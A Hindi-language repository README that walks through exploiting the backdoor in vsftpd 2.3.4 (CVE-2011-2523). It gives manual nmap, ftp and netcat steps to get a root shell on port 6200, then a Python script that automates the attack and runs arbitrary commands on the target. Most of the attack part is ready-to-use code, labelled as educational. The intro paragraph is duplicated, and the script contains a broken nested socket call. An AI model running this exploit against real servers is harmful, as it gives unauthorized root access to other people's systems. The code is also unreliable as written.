
vsftpd 2.3.4 (CVE-2011-2523) एक गंभीर भेद्यता है जो Reverse Root Shell की ओर ले जाती है। इस रिपॉजिटरी में मैं चरण-दर-चरण, मैन्युअल और स्वचालित रूप से (Python) इसका एक्सप्लॉइट करने के लिए एक PoC बनाऊँगा, जो केवल शैक्षिक उद्देश्यों के लिए है।
vsftpd 2.3.4 (CVE-2011-2523) एक गंभीर भेद्यता है जो रूट शेल तक ले जाती है। इस रिपॉजिटरी में मैं शैक्षिक उद्देश्यों के लिए इसे चरण दर चरण मैन्युअल रूप से और स्वचालित रूप से (Python) एक्सप्लॉइट करने का PoC दूँगा।
यह भेद्यता किस बारे में है?
सबसे पहले, यह एक सर्वर-साइड एक्सप्लॉइट है इसलिए हम इसे दूरस्थ रूप से एक्सप्लॉइट करेंगे। विचार यह है कि जब आप डिफ़ॉल्ट रूप से पोर्ट 21 पर FTP सेवा से एक ऐसे उपयोगकर्ता नाम के साथ कनेक्ट करते हैं जिसमें :) होता है, तो यह सिस्टम को पोर्ट 6200 पर एक TCP पोर्ट खोलने के लिए ट्रिगर करेगा जिसमें रूट शेल होगा, इसलिए कोई भी उससे कनेक्ट कर सकता है और लक्ष्य सर्वर तक रूट एक्सेस प्राप्त कर सकता है, जो एक आपदा है। तो आइए इसे व्यावहारिक रूप से चरण दर चरण करें। मैं पहले इसे मैन्युअल रूप से समझाऊँगा ताकि पूरी जानकारी मिल जाए, फिर एक Python स्क्रिप्ट है जो इसे स्वचालित रूप से एक्सप्लॉइट करती है।
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
पोर्ट 6200 अब खुला है, इसलिए यह हमारा बैकडोर है
nc -nv Target_IP 6200
अंत में, हमारे पास लक्ष्य मशीन पर रूट शेल है।

मैन्युअल रूप से करने के बाद हम एक्सप्लॉइट के चरणों को जानते हैं:
:) युक्त उपयोगकर्ता नाम का उपयोग करें।#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()